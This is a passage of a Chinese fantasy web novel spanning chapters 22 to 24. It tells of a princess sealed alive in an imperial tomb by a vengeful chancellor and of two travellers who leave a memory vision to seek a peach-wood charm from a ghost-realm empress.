“可以找大夫了吗!”花信压抑着说道。
仆妇觑眼望向床榻,抬步上前,将要掀开被褥时,花信上前拦了一下。
“你干什么?”
“此事须得谨慎,要再确认一番。”
说完,仆妇还要上前,花信扬手。
“啪——”
“狗奴才!”
仆妇被打得偏过头,花信手掌发麻。
这是她从小到大,第一次打人,第一次仗势欺人。
仆妇低下头,公事公办:“公主恕罪,我只是听丞相之命。”
“那就叫丞相亲自来查!他是我的人,容不得你作践!”
仆妇看她几眼,花信直视她的目光,任其打量。
最后仆妇走了,丞相来了。
再然后,大夫进了屋,金陵得到诊治。
床褥等一应物品全部换过,屋里点上熏香,才挥散了浓烈的血腥气。
毫无意外,金陵昏迷了许久。
花信让他睡在自己屋子里,日夜照看。
某日夜间,她坐在床榻边,低头打量金陵苍白憔悴的面色,不禁覆住了他的手心。
金陵日日用刀用剑,掌心磨出几个茧子,她无意识地摩挲着,忽然被轻轻攥住了手指。
花信一惊,金陵微微睁开了眼,除去迷茫,眸光一如既往的温润。
“……看你发呆,在想什么?”金陵哑着嗓子问。
花信望着他,不言不语,良久轻声道:“杀掉风疏吧。”
“你去刺杀她。”
易辛坐在桌边。
自那日过后,她时不时去看花信,只见她日复一日的沉默,而金陵一直昏迷。
她无所事事地摸上茶壶,心头后悔,为何不在茶楼的时候向知情人打听清楚,好知道后边发生了什么。
她默默叹了一息,缩回手撑着下巴。
这时,祁不为从外间换岗回来,一屁股坐下,给自己倒了杯茶:“我都有些羡慕你了。不用干活,我还要整日轮值,并时时关心金陵。”
这些都是杨烈每日做的事,他只能被迫跟着。
“无聊——”祁不为闷了口茶,下一秒立即喷出来。
易辛怔了一下,看他一眼,忽然把手缩到桌下。
祁不为抹了抹嘴巴,盯着易辛咬牙道:“从花信被抓回来起,你就心不在焉。我说了多少遍不要碰我的吃食,这是第几回了!”
她以前不是这样的!祁不为眼中不自觉冒出几分怨念。前世她可不会对他疏忽到这个地步。
易辛老实道歉:“对不起……”
话毕,她又站起身:“我不打扰公子休息了。”
祁不为眼角一抽:“站住!丞相命我等会去见他,花信也去,估计有事。”
易辛果然停住脚步,回望他。
两人并一魂来到李善屋中。
李善请座,开口问花信:“公主言说有事相商,何事?”
花信偏过头来,看向李善。李善眉头微微一动,直觉她似乎不一样了。
花信开门见山:“我想了个法子,可以除掉风疏。”
此话一出,众人皆惊。
祁不为和易辛对视一眼。
李善忽然笑了,似是觉得花信想不出什么好方法。
“丞相不信?”花信反问,“无所谓,我说出口,听与不听,丞相自己定夺。”
“风疏不日会出城祈福,你们可以把金陵扔在她的车马前。风疏见他重伤昏迷,便会把他带回宫。金陵便可择机暗杀风疏。”
“公主未免天真,风疏怎会带陌生人进宫?”
“他对风疏而言,不是陌生人,是心上人。”
李善喝茶的动作一顿,笑意收敛了些。
花信继续道:“宫中秘闻,你不知道也很正常……”
她将国师所为娓娓道来:“……他没了记忆,忘了风疏。风疏正被追杀着,也没空管他。”
“你们这几年和风疏有不少摩擦,把重伤的金陵扔出去,她必然会觉得你们挑衅自己,心生怜惜,再把人带回宫。”
李善:“过了那么多年,风疏还能对他有情?”
花信:“没有情分就算了,反正丞相也没损失。只是死了一个侍卫而已。”
李善盯着花信:“侍卫而已?公主舍得?”
“不舍得,”花信答得毫不犹豫,“但我更不想当个下崽的母猪。此事若成,你就放我离开。随你把谁变成花信。”
“仅此而已?”李善问道。
“当然,如果金陵能杀掉风疏最好,我变成今天这样,全是败她所赐。”说到最后,花信面色绷紧,望着李善的眸光有着毫不掩饰的恨意:“说实话,我很讨厌你。但倘若不是风疏,你也不会对我这样。我和她从小一起长大,凭什么她成了九五至尊,而我落魄潦倒。我过的不好,也要把她踩进烂泥里!”
“你们总说我是个对不起天启国的罪人,一旦起事成功,不要再骂我了。”
沉默。
半晌,李善抚掌而笑,眼里有着不作假的欣慰:“公主,经历这么多事,你终于长大了。虽然晚,但也不算太晚。”
“你若答应,便让杨烈乔装打扮,把金陵带走吧。”
几日后。
祁不为和易辛走在街头,众人分列两旁,朝拜高头大马上的女子。
两人目睹仪仗队渐行渐近,再掠过人群,望向对面街道的金陵。
他隐匿在人群中,面色发白,明显气血亏空。
接着,他晃了几晃,忽然倒了下去。
人群霎时喧哗一片,不出意外,引起了仪仗队的注意。
易辛抬头去望风疏,见她挥停仪仗队。身旁有人来报,她皱了皱眉,翻身下马,人群让出道路,那里躺着一个青年。
金陵确实很疲惫,无需装晕,只是意识尚存,他眯起眼睛,想阻挡大片大片的日光,白晕中,一道人影渐渐靠近,足手投足间可见沉稳镇定。
那人蹲下身,抬手搭在他手臂上,微微低了头。
“……金陵。”
他听到忽远忽近的呼唤。
眼前女子较多年前最后一面相比,多了凛冽肃穆,少了温和。
易辛被前面的人群挡住,看不清,不由得仰头问祁不为:“怎么样了?”
“他晕了,被人扶上了马车。”
“那风疏呢?是去祈福还是回宫?”
“继续祈福去了,不过有人护送马车回宫。”
“公子,那我们先暂时别过吧。”
“什么?”祁不为怀疑自己听错了,转头去看易辛。
易辛睁着双温润澄澈的眼睛道:“我想去宫里看看,公子便守着花信吧,若有事我们再互通有无。”
“有什么可互通有无的,你以为自己能见机行事改变什么吗?”祁不为无语地瞪着易辛,说罢便要去抓她,结果握住了一男子的手心。
……他忘了,易辛是魂魄,根本抓不到。
那男子似是不明所以,但见了祁不为的面孔,眸光一亮,顿时扭捏起来,姿态别有一番风味。
祁不为明白过来,立马撒手:“……抱歉,不小心……”
男子锤了他胸口:“都是这样,一开始都说不小心,无意的,哎呀抱歉……”
祁不为一激灵,浑身起了鸡皮疙瘩,眼见对方开始纠缠动手,连忙转身跑了,至此便和易辛分散了。
易辛也趁机跟上皇宫的马车。
夜幕降临。
御医看诊完毕,开了方子,宫女前去煎药,内侍
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替金陵重换了身衣裳。
听闻屋内清脆作响时,易辛正好穿门而过,看见地上洒了一地佛珠。
内侍脸色忽变,被领头太监骂了一句,屋内纷纷低头捡佛珠。
易辛记得,他们逃跑那日,这串佛珠砍断了,然后杨烈趁着众人不注意重新捡好,往后金陵日日昏迷,他便给了花信。
看来,花信又重新还给了他。
易辛正站在门边,余光瞥到有人进来,一颗佛珠滚到那人脚边。
风疏已经回宫,弯腰捡起佛珠,捻了捻。
内侍跪地请罪:“皇上,奴才有罪,方才给这位公子换衣,不慎失手掉了他的锦囊,里头佛珠洒了出来……”
“无碍。”风疏挥退众人,慢慢走到榻边。
金陵闭目昏睡,眉头拧起,仿佛梦中也不得安稳,脸色青白交加。
她捻着手中佛珠,沉吟道:“你此刻出现,是为了什么?”
似有所感,金陵竟醒了过来。
两人目光对视,风疏并未言语。
金陵率先开口:“皇上。”
风疏仍旧沉静,只以眸光示意他继续。
“我们做个交易吧。”
“用什么换什么?”
“我刺杀你,你抓住前朝旧臣。”
这时,风疏神色才微微变化,凝他须臾:“你要我假死?”
“你死了,那些藏在暗地里的人才会现身,届时你可一网打尽。”
“谁的主意?”
“……花信公主。”
风疏目光又变了:“……她为何要这样?”
金陵犹疑片刻,若是道出所有,可能伤及花信,若是不说,风疏会信他们交易的真心么?
“不方便说?”在他沉默的片刻里,风疏再度发问。
不等金陵回答,她问出第三个问题:“她想要自由和解脱?”
“……是。”
“容我思虑一番。”风疏说着。
这时,她再一次深刻地感受到,原来已经过去十多年了,人与物纷纷变化。一路走来,她已经无法做到像从前那般信任一个人。比起曾经的恋人,金陵敌人的身份在她眼中更为显著。
金陵:“从前,您与公主是挚友,希望皇上念在曾经的情谊上,帮她一把,也是帮你自己。公主之所以选择这样做,还有一个原因。现今百姓安居乐业,但丞相李善集结了旧部,若是再起冲突,于民生有害无利。”
末了,金陵又道:“公主……过得很苦。”
说罢,他抬眼去望风疏,见后者目光正落在自己身上,冷静中不乏威严。
两人对望着,金陵心中涌起极度怪异之感。
风疏盯着他,瞳孔里忽然多了一分笑意:“你想把自己也押上,促成交易?”
金陵不懂这分笑的含义,似促狭,似玩味。
“你记起来了?”风疏适时一顿,再开口,“——我和你之间的事。”
“……没有,但公主告诉了我。”
话落,金陵听见身前传来一声笑。
“金陵,过去太久了。我对你再情深意切,也全部烟消云散了,”风疏淡淡道,“我吻过你,也问过你要不要和我走,只是你的身体不记得我,脑子也一并忘了。我们,有缘无份。”
金陵一怔,眉头拧起,露出些微焦灼之意:“……这是拒绝交易的意思吗?”
“不,我答应。为了花信。”
金陵又是一愣,继而松了口气,唇角不由自主染上笑意。
易辛跟着一笑,转身欲回到祁不为和花信身旁,周遭猝不及防地迅速变化。
她看见日月交替,看见皇宫中传出风疏驾崩的假消息,再看见杨烈送来旧部集结的地址,风疏和金陵率军将前朝旧臣一网打尽。
然而最后,谁都寻不到丞相李善和花信。
风疏坐在帐中,金陵和祁不为候在一旁,不断有卫兵传来消息,无一例外——翻遍整座皇城,都找不到花信。
营帐内气压显而易见的低沉。
日子一天天过去,一日、两日、七日、十五日,终于,全程张贴搜寻榜后,有人说似乎见他们去往帝陵方向。
风疏入主天启后,管理朝政事务,没有动前朝帝陵。所以它还完好无损地坐落在那,只是没有守卫。
得到消息,众人马不停蹄赶往帝陵。
卫队在山下把帝陵围得密不透风。
风疏不顾将士劝阻,执意亲自上山。
“做好准备,这座山很大,一时半会可能还找不到他们。”风疏对金陵说道,也是告诫自己,不要焦灼。
但出乎意料,两人一去帝陵,便在陵寝殿外见到了跪地不起的李善。
身后大批兵马的动静也没让他挪动一丝一毫。
金陵冲上前去,质问李善:“你把公主藏哪了?!”
这时,李善才慢慢抬眼,疯癫似的笑了一下,站起身,环顾四周。对上风疏冷漠无情的眸光,他忽然大怒:“金陵!你生在天启,长在天启,怎敢和花信一起勾结梁国皇帝!”
“我问你!花信在哪!”金陵压低声音,蕴着怒火。
李善却不答他的话,反身向风疏:“区区质子!若不是得了花信那无知小儿的怜悯,你怎么有今天!你早就死在宫中了!即便没死,也断然没有今天的一身本事!花信是天启亡国的罪人!你也是!”
风疏:“丞相,话可不是这样说的。我从未主动进犯天启,是你们先打过来的,我还要绑住手脚被打吗?”
风疏继续道:“是你们皇帝疑心重!”
李善讽刺一笑:“满嘴冠冕堂皇!我呸!扪心自问,天启若日日蚕食周边土地,日益比你梁国强大,你身居帝位,难道不忧虑焦灼,还能高枕无忧?!”
李善:“能高枕无忧的,不是傻就是蠢!”
风疏沉默。
李善张开双手哈哈大笑,再怒指风疏:“这是无解的!你知道,所以你反驳不了!两国强弱,弱国怕强国吞并自己,所以不断增强实力,强国怕弱国有一日超过自己,也会日益武装自己,如此一来,战争早晚爆发!”
风疏:“你既然懂这个道理,何必把这些都怪在花信身上。”
“别假惺惺了!你敢说自己没有问鼎之心!我们先打,你必然在哪偷笑,终于不用顾忌什么狗屁情谊了,还占了理!”
此话一出,周遭寂静了一瞬。
金陵不由得看向风疏。
风疏面色平静,似是打算高抬贵手,语气又缓又平和:“既然丞相心中有恨,骂一骂便能解你痛苦,那就骂吧。”
李善嘴角抽搐了下,看起来想骂许多话,却心知回天乏力,本该嗟叹一声痛哭一番,然不甘无奈之情实在太重,又在胸口点了把火,忽然笑了起来,笑得狰狞可怖:“我一把老骨头,临死前还能戳你肺腑,值了!”
话音方落,风疏面上仍旧平静,可仔细一看,却有丝丝缕缕的阴沉。
金陵心里咯噔一声,生出不好的预感。
李善抹了把笑出来的泪:“当日你率军来打,我看势头不对,就抓了花信逃跑,一路逃到帝陵——我把她按在地上!三跪九叩!叫她面对列祖列宗忏悔!”
“公主金尊玉贵,我下手没轻没重,她磕破了头,地上流了血。”李善残忍地笑着。
金陵捏紧剑柄。
“但算她有骨气,不哭不喊,”李善语调冷硬,“我骂她为何通风报信,分明我们和她同饮一方水,她岂敢背弃同族!她却大言不惭,说什么天下安定,不要再起战事。我怒不可遏,又抓着她以头抢地。”
“她发了疯,不停重复这是为天下百姓好!”
“狗屁的为百姓好!不过是粉饰自己的所作所为罢了!她也知道自己对不起祖宗,对不起天启,对不起死去的先帝!”
“她锦衣玉食,享了一辈子的荣华富贵,吃的穿的用的,都是百姓的血汗钱,如今却拱手把子民和疆土让给敌国首领!——哈哈哈哈我这样说,她才乖乖闭了嘴!”
“然后,我带她进帝陵,跪在祖宗牌位面前忏悔!”李善指着帝陵,面前是一扇巨门,门边两座守门石像。
“于是,她就留在里面了。”李善一改咆哮,轻飘飘地作了收束和结尾。
众人俱是一惊。
“什么意思……你把她关在里面了?”金陵声音颤抖。
“对啊,她要忏悔,就伺候列祖列宗一辈子!”李善忽又狰狞起来,“我出了帝陵,落下断石,谁也打不开这扇石门了。”
风疏脸色发僵:“……你关了她多久?!”
李善并不理会,自顾自道:“哈哈哈哈哈哈……我现在还能回想当时的情景,门闭上的那一刻,我看她吓坏了!她屁滚尿流地扑到门边,但太晚了!然后她就不停地拍门,要我放她出去!”
“好吵啊……真的太吵了,但我也没办法了,我打不开门呐,不能把她的嘴巴塞住!只能听她从早到晚的哭喊了……”
风疏怒吼:“李善!我问你关了她几天!”
金陵猛地浑身冰凉,仿佛被关在黑暗中的是自己,耳边回荡的也是他的哭喊,从焦急彷徨到绝望。
风疏神色阴冷,匆匆下令:“准备火药!要足够多的火药!炸开帝陵!”
李善仰天长笑:“她一直叫,叫得嗓子都哑了,真难听,毫无尊严……过了几天,她终于不哭不喊了!”
“李善!”金陵怒喝一声,挥拳而向,年逾花甲的老人吐出一口血沫,牙齿飞了出去,却还是癫狂发笑。
金陵双眼发红,终于不再像个书生,揪住李善的衣服,还要动手,眼前忽然血如泉涌,狞笑凝在李善脸上,随着头颅一起滚落在地。
空落落的脖子后,露出面色阴冷的风疏,她手中提着长剑,尚维持着一剑劈砍的姿势,凛冽又暴怒。
金陵一口气堵在喉咙里,像是终于明白过来,猛地松开了李善的尸体,扑向帝陵巨门,不断猛敲锤打,一声高过一声地呼唤花信。
不一会儿,巨门上便洇出星星点点的血迹,金陵一双手惨不忍睹。
杨烈看不下去,伸手去扒金陵。
透过杨烈的身体,祁不为能感受到此时此刻,金陵一身无穷无尽的力气,根本拉不动,还有浓烈得化不开的悲恸,夺眶而出。
23. 第二十三章
祁不为在心里叹了口气,下意识使力去拉金陵,忽觉一股推力,他竟从这副身体里挤了出去!
祁不为顿惊,不由得环顾四周,猛然看见易辛正朝帝陵而去,似要穿门而过。
门里是何模样,不难想象,只会是一具已经开始发烂发臭的尸骨。
结局已是如此,何必徒添悲伤。
他追上前去,扳住易辛肩膀。后者回过头来,眼尾坠下一串细线。
祁不为心头一动,莫名的,也有些难过。
蓦地,周遭变白,祁不为立即伸出手握住易辛手腕。
耀眼白光渐渐退去,再睁开眼,周围一片昏暗,手中什么也没有。
适应昏暗后,他四下张望,不远处桌椅下,易辛正躺在地上,闭目不醒。
祁不为陡然起身——他们回来了,这是点日的铺子!
这时,柜台后冒出一个头,点日寻着动静望来,惊奇笑道:“哟,公子?终于醒了?”
说罢,点日又转头去看易辛,恰逢她也摸着额头起身。
祁不为缓了须臾,走向柜台,皮笑肉不笑:“解释解释?”
点日赔笑:“玉瓶一旦碎了,便会把人卷入记忆中。二位必然做了一个很长的梦。”
祁不为挑眉:“你没进去?”
“我是这间铺子的老板,自然知道怎么避免,只是转瞬之间,来不及帮你们了。”
易辛也走向柜台,问道:“我们睡了多久?”
点日比了个手势:“三日。”
如此漫长的一生,匆匆回首,只有三日。易辛眉眼低垂,显得有些郁郁,她在心里轻吐一口气,对二人说道:“我去外面看看青山戏唱到了哪里,顺便问问归墟境可有事发生。”
话毕,她朝二人点头致意,便走进了对面的茶楼。
茶楼还在说书,与她在玉瓶中看见的大差不差。
易辛随意走到一位老妪身旁,问道:“大娘,这出戏您以前听过吗?”
老妪回头,见她模样娴静温顺,心中自然亲近,开口道:“看过啊,年年都听,前前后后发生了什么,都背得滚瓜烂熟了。”
易辛对她一笑,又问:“那结尾呢?可否情大娘说道一二?”
“结尾?哎,这真是唏嘘。那丞相把公主关进帝陵活活饿死,风疏又砍了丞相的头,最后金陵留在陵寝门口,守了一辈子呢。女帝风疏回到宫中,忙忙碌碌,慢慢地老了驾崩了……”
易辛道谢,然后坐在凳子上,似专注地听戏,实则什么也听不进去,胸口空落落的,又塞满了怅惘。
其实她比祁不为醒得早,并匆匆和点日道明情况——祁不为发现她交易记忆了,也知道她过手的吃食都发苦。
她把地方留给那两个人,现下应该在对峙了,晚些回去吧……
铺子里,两人果然在对峙。
见易辛离开,祁不为直截了当地问:“这玉瓶里装的,是花信的记忆?”
“非也,是青山女帝风疏。”
“可记忆里见的最多的就是花信。”
“那便要去问女帝大人了。”点日耸耸肩,一如既往地笑着,继而对上祁不为探究的目光。
祁不为拨了下柜台上的算盘,算珠啪嗒作响。
“老板好手段,居然连青山女帝的记忆都有,她也和你做了交易?”
点日眨了眨眼:“秘密。”
祁不为亦点到为止,笑了下,再去看点日时,目光深沉:“易辛的记忆玉瓶在哪?”
“你问这个做什么?”点日打趣他,“看上人姑娘了,想了解了解过往?”
祁不为无动于衷:“不必绕弯子。你知道我发现了易辛的玉瓶,又特意弄个假的糊弄我,生怕我拿不到,竟然把架子的结界也解了。你煞费苦心藏起她的东西——”
他一字一顿道:“为何。”
祁不为:“她的记忆里,有什么不能看的东西?”
点日:“全部。”
祁不为一愣,似是没料到这个答案。
点日说道:“用记忆交易的前提便是,除我之外,无人可看。虽然你们相识,但也不能让你过目。”
祁不为驳斥:“那你大可直接拒绝我,何必装神弄鬼。”
“那你大可直接问我来要,何必偷鸡摸狗,”点日笑着反驳,“你知道我不会给。所以想方设法得到它。”
点日已经预判了祁不为的行动,又道:“与其和你推诿折腾,不如直接用假的让你死心,谁知那蛟妖横插一脚,事迹败露。”
祁不为不作言语,平心而论,若点日真心如此,倒也算是有原则的商人,不过——
“你口口声声说不让客人做赔本的买卖,所以赠我聚魂灯,为何又要易辛的记忆作交换,奸商!”
点日面不改色,轻飘飘带过:“想要做生意,就要没脸没皮嘛。”
祁不为讽刺:“客人没发现便算了,如今我发现了,你还想装蒜?”
“公子说哪的话呀,”点日隔着柜台捏捏祁不为手臂,“别生气,我再卖你点消息,帮你离开归墟境。”
祁不为抱起双臂,下巴微抬,下颔线清晰得如一柄刀,隐有压迫。
“你可知青山女帝为何被送去天启国当质子?”点日问道。
柜台面上有一盆栽,点日抬手抚上枝干:“世上奇人之多,有衔玉而生者,有紫气祥瑞者,而风疏降生时,粱帝在她口中发现一截枯木。枯木意为腐朽,不详,所以她从生下来便受到父母唾弃,等年岁一到,便送去天启作质子。”
祁不为拧起眉头,问道:“风疏住在宫里,归墟境的人见过她吗?”
“见她一面,太容易。”
见皇帝兼神仙,太容易?
“入归墟境者,大多各有执念,或是不想死,或是有冤屈。但天道轮回才是常理,人一死,便入地府,依生平来赏罚,或再度轮回为人,或堕入畜生道赎罪。归墟境打破此番常理,徘徊于此不愿走的人,最终魂归地府时,必然受到重罚。”
“因此,他们愈发只想留在归墟境而不去轮回,此间魂魄愈来愈多,影响了阴阳平衡,是大事。但地府事务繁忙,没空天天抓人。女帝处理他们,也不是件容易的事,所以又排了出青山戏,胜者入地府,可不受刑罚。因此日日有人去皇宫,面见女帝回答问题。”
祁不为再问:“若是有人想离开,也甘愿受地府责罚,当如何?”
“每日皆有阴差将孟婆汤送入皇宫,想离开的人自行去喝,即可。”
祁不为沉默不语,青山戏有两个问题——一、找到女帝;二、为何排这出戏。起初他和易辛抱着同样的想法,皇宫森严,众人难以见到风疏,所以找出女帝很难。
但听点日一说,见到女帝何其容易。
难道,宫里那个女帝,只是术法下的分身,而非本体?
点日卖出的消息,是说女帝本体和枯木有关?
……归墟境无边无际,花花草草那么多,要去哪找一截见都没见过的枯木。
易辛靠坐在树下,心头沉甸甸的。
青山戏她听不下去,便漫无目的地游走,最后想寻个没人的地方,就来了先前的破庙。
破庙荒芜,院子里唯一的大树也光秃秃的。
她不想把那些憋闷沉痛的东西留在胸口里,便哭了出来。
从默默无声到整张脸都皱了起来。
易辛觉得自己实在太幸运,还有改变过去的机会。
……哭着哭着,她眼中愈发光亮,好像哭出了怒火似的。
她要咬牙坚持住,不管以后发生任何事,无论是祁不为,还是往后的危险重重!
她渐渐哭出了声,等到嚎啕大哭时,似乎把压在心中的东西都发泄了大半。
恰逢这时天降大雨。豆大点的雨珠啪嗒砸在地上,不一会儿就洇湿了地面。
易辛连忙躲进破庙中,在大雨的掩饰里,把心口最后一点沉闷都哭光了。
不知雨下了多久,她偶然瞥见屋檐下一条细长的黑线,靠近一看时,才发现是搬家蚂蚁。
也许是雨水冲垮了它们的巢穴,它们正纷纷离开,虽然排列有序,但还是容易被大雨打散,卷入于它们而言的洪流中。
易辛冒着水汽,抬起衣裙遮住了一片天,对着那群艰辛跋涉的蚂蚁看入了神,也看得入了定,心绪都平缓下来。
不知何时,视野里忽然闯入一双黑色的鞋履,头顶投下一片阴影,扑面的水汽也停了。
易辛茫然抬眼,祁不为正站在身前,撑着一柄油纸伞,水雾朦胧中,视线垂在她脸上。
“不是听戏?怎么跑这么远?”祁不为眉头微拧。
易辛还蹲在门槛边,双手张开最外层的衣裙,仰起了脖子看他,诧异道:“公子……怎么找到这里的?”
祁不为眉头皱得更厉害了:“点日说你在这里,外面又下大雨,你没带伞,就催我来找你。”
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说起这个,他似乎很多抱怨:“还真会使唤人,要接他怎么不来……还一直念经似的叨叨叨……我之前怎没发现他是那么婆婆妈妈的人!”
易辛听笑了,弯起眉眼:“多谢公子。”
“……”祁不为扫了眼她通红的眼圈,这样子一看就哭了很久,但他没多说,只点了点下巴,示意她手上的动作,“你做什么?”
“帮蚂蚁挡雨。”
“……”祁不为唇线抿直,“它们走得那么慢,你要挡到天黑去?”
易辛想了想,说道:“公子先回吧。这雨来得急,料想不会下很久。等雨停了,我自行回铺子。”
“……那我不是白跑一趟!”
最后,他还是呆在破庙里,看看大雨,看看蚂蚁,又盯着易辛头顶,直到两人一起回了当铺。
偏偏两人路上又得知了一件事情。
在他们昏迷的第二日,皇宫张了榜。大意是说众人在归墟境内,本就有违天道,偷来许多时日。现在命令所有魂魄喝下孟婆汤,入地府轮回。敢有不从者,灰飞烟灭。时限便是重阳的最后一日。
两人回到铺子后,向点日求证,后者面色如常地答了。
此时,屋外雨下得更大了。
偏偏是这个时刻,风疏开始清理归墟境了,而他们还未找到青山戏的答案。
沉默后,祁不为说道:“现在进宫见风疏。”
点日瞥一眼外面的大雨:“现在就去?”
祁不为:“你也一起。”
望着宫门前长得如蚂蚁一般的人流,易辛大为吃惊,忽逢大风起,几乎要掀翻她的伞,斜里伸出一只手握住伞柄,她偏过头,正好看见祁不为下颔。
祁不为是对的,宫中张榜,引起恐慌,前来答题的人忽然变得很多,来得越晚,进宫越晚。她低头擦了擦脸,将糊在脸上的湿发拨开。
这时,祁不为垂眸望向易辛,雨水打湿了她的肩膀和衣裙,一滴水还附在眼下,仿佛落了泪。他侧过身子,背对风雨来时的方向,挡住易辛。
如果余毒已消,他们便能遮风挡雨了……
这般想着,不自觉意随心动,掌心忽起了道屏障似的,雨水四下散去,未沾湿手心。
祁不为一愣,敛目调动体内灵力,竟能运用自如了!
易辛已背对风向而立,没注意挡在自己身后的祁不为,直到手中油纸伞被他抽了去,接着伞檐压低,身后隐有迫近感,而雨水神奇地“贴”着衣物流了下去。
她惊奇扭头,却见祁不为对她使了个眼色,要她闭口不言。
祁不为灵力已经恢复,但未免避人耳目,只悄悄对两人施了避水术,还特意用伞挡住一二。
明白他余毒已消,易辛眸光一喜,收回目光的途中,看见点日调笑意味浓重,下一瞬,但见他伞面无端撕了几道口子,雨水趁势而入,浇了他一头,面上笑意顿时无影无踪。
易辛立马回看祁不为,后者干脆地扳着她肩膀转了身,背对点日。
“你怎么来了,还这副模样?”
殿内,说话之人从棋盘上抬头,见着落汤鸡一般的点日,尾音带起毫不掩饰的嘲笑。
“我也很想知道,祁公子为何带我来此。”点日回身,看向祁不为。
作答时,只能一人在旁,易辛便等候在外。祁不为领着点日先行进殿,一眼望见坐在棋盘后的女子。
风疏此时,并非垂垂老矣,而与他当日在帝陵时所见相同,却比从前多了饱经岁月风霜的闲适,威严一概收敛进骨血里。
眉眼与其说冷,不如说淡。
“依女帝大人所言,只要找到你,便可离开此处。”祁不为道。
“不错,你找到了?”
祁不为伸手,指着点日:“他。”
衔木而生,是隐秘。他临行前问了好几个人,没人知道关于女帝出生时的事。
女帝本体不一定与枯木有关,重点在于点日知道。
他又如此神秘,未必不是真正的青山女帝。
易辛候在廊檐下,没等一会儿,祁不为和点日便出来了,二人面色各有各的古怪,来不及相问,内侍把她领了进去。
见了易辛,风疏从座椅里起身,缓步走向她,目光带着温和的打量。
“你也要答题?”风疏淡淡地笑了一下,“试试?”
“您排这出戏——”易辛顿住,面色稍有迟疑,“是为了膈应白无常大人?”
24. 第二十四章
风疏神色微变,又笑了一下:“坐吧。”
易辛道谢,随着风疏落座。
“我都记不清上回有人来访是何时了,”风疏抿了口茶,“归墟境不同于三界,连上界仙神想来也非易事。直到他们发现了拥有跨界之能的白毫狼,才寻到通行之法。”
易辛了然:“为防居心叵测之人,所以您又设了道禁制,需要口令才能借助白毫狼进入归墟?”
风疏:“那日,我听到了你的请求。”
“多谢大人让我进入归墟,”寒暄一番后,易辛开门见山,“白大人应是向您说过那些往事,不知可否请您赐我驱魔桃木?”
“桃木尚未成熟,需得重阳的最后一日。到那时,我自会给你。”
此事如此顺遂,易辛一时有种不真切之感,呆楞中带着喜悦。
风疏再道:“得了桃木后,需得精心呵护,妖气大盛之际,便是花开之时。一旦开花,它便能压制并净化妖魔邪祟。”
易辛郑重点头,感激不尽。拿到桃木,便能阻止祁不为入魔,此行最大的目的就可达成。
见易辛双眼明亮,风疏一时恍惚,仿佛眼前坐了那个金尊玉贵的小公主,愣怔须臾,凌空朝她眉心一点。
易辛抬眼看了看,只能看见方才被风吹乱的碎发,不由问道:“大人,这是什么?”
“近几日不会太平,你若有事,我能发现。”
易辛弯起眉眼:“多谢照拂。”
祁不为和点日站在屋檐下的廊柱旁,天色昏暗,大雨不歇,不知宫门口是否还排着长队。
这时,内侍和颜悦色地领着易辛出来了。
两人彬彬有礼,各自道谢。
见状,祁不为敏锐地拧起眉头,他记得这名内侍,其余人皆是小太监引着,而他一直侍立在风疏身旁。
他竟亲自送易辛出门。
“你……答出来了?”待易辛走近,祁不为问道。
易辛刚想点头,转念一想,又摇头。
“那她对你如此厚待?”
“……厚待什么?”易辛装作不知。
点日调侃解围:“约莫是你家侍女惹人怜爱,女帝大人强势惯了,见着这么软的人,心便跟着软了。”
易辛浅浅一笑,复问祁不为:“公子说了什么,为何你们出来时神色那般奇怪?”
祁不为眉梢一扬:“有人被骂了呗。”
点日反唇相讥:“有人惹怒女帝大人,被奴役了。”
易辛在二人之间来来回回地看着,不明所以。
祁不为冷笑:“我对风疏说,点日才是她的本体。点日对她了解颇多,又拥有她的记忆玉瓶。我就死马当活马医,随口一猜。结果女帝大人满眼嘲讽,问我是不是用点日侮辱她。”
说到此处,祁不为面向点日:“——她是有多讨厌你啊。”
“你故意道出玉瓶破碎之事,惹她迁怒我,算盘打得真响,但搬起石头砸自己的脚了——”点日跟着笑了笑,“女帝大人认为你一番话说得很难听,还窥探她的记忆,要你捉拿蛟妖,否则把你永远困在归墟。人在屋檐下,不得不低头啊。”
点日拉长语调叹息着,和冷笑的祁不为对峙。
易辛感觉二人之间擦出了无形的火花,当机立断道:“天晚了,我们回家吧。”
“回什么家,点日大老板要去当苦役了。”祁不为凉凉道。
“这是何意?”易辛望向点日。后者目光难得地露出不耐。
“皇宫有处地方,每日由阴差送来孟婆汤,供想要离开归墟境的魂魄饮下。女帝大人打发他去引魂喝汤了。”祁不为解释道。
“对了,我打听过,那里现在怨声载道,大多人不愿去地府,喝汤之前总是使出浑身解数,一哭二闹三上吊的,就是为了叫阴差不要罚他们。多去几日,大约头要痛死了。”
简而言之,会被唾沫星子淹死,专克喜爱清净之人。点日一看,便是惯会躲懒的。
点日眯起眼睛:“极乐城不是那么好闯的,但愿还能再见祁公子。”
说罢,他转过宫殿,消失于拐角处。
易辛问祁不为:“极乐城是什么?”
“妖魔鬼怪住的地方,在风疏的干预下,人与妖井水不犯河水。”
“公子打算混进去抓到那只蛟妖么?只身闯妖穴太危险了——”易辛面色一紧,还想再说,又停住了。
难道风疏想利用这个借口把祁不为留在归墟,等桃木花开那一日?
归墟与世隔绝,呆在这里未必不好,甚至可以直接避开甘华门里发生的事。
祁不为点头:“就算她不说,我也要捉住蛟妖。他想偷风疏的玉瓶,必然有原因,也许能问出离开归墟的其他方法。再者,你我迟迟不归,阿姐必然忧心。”
闻言,易辛明白让他留在此地不可行。
两人回到铺子,易辛掌灯,走在祁不为前头。
二人步上楼梯时,祁不为偶然瞥见她发上素净,无甚装饰,他停下步子:“你去休息,我想起有事要做。”
不等易辛回头,他便下了楼梯。
他寻来一截木头和雕刀,刻完再经打磨,最后做出一只木钗。
翌日一早,祁不为敲开易辛房门。
见他递来木钗,易辛一时没伸手,求生本能唤醒了她关于得失咒的记忆,半边身子一麻,心口难以控制地抽痛了一下,继而绞尽脑汁地想着婉拒借口。
还没想好,那厢祁不为先开了口。
“戴着这只木钗,上面施了易地之术。”
易辛疑惑,这是什么让她掉以轻心的新话术么?
“我要去极乐城,以防万一,若出现不能应付的状况,能用易地术把我和木钗换走。”
祁不为解释道,木钗需要妥当保管,随意放着,恐生意外。而归墟境里,他能相信的人只剩易辛。
易辛半信半疑,但见祁不为神色认真,又没唤她姓名,想来不是得失咒,便应下了。目送他离开后,才端详起木钗。
木钗制式简单,感受不到术法的痕迹,钗尾倒是好好打磨一番,不会尖锐到伤着头。
她又用水浸泡一番,木钗上没有得失咒的蛇形印记,悬着的心才终于落下。
易辛长叹一息,好似恍如隔世,记忆玉瓶里她不需要防备祁不为,回到自己身体里,那种时刻被人惦记性命的焦灼忧虑一并回来了。
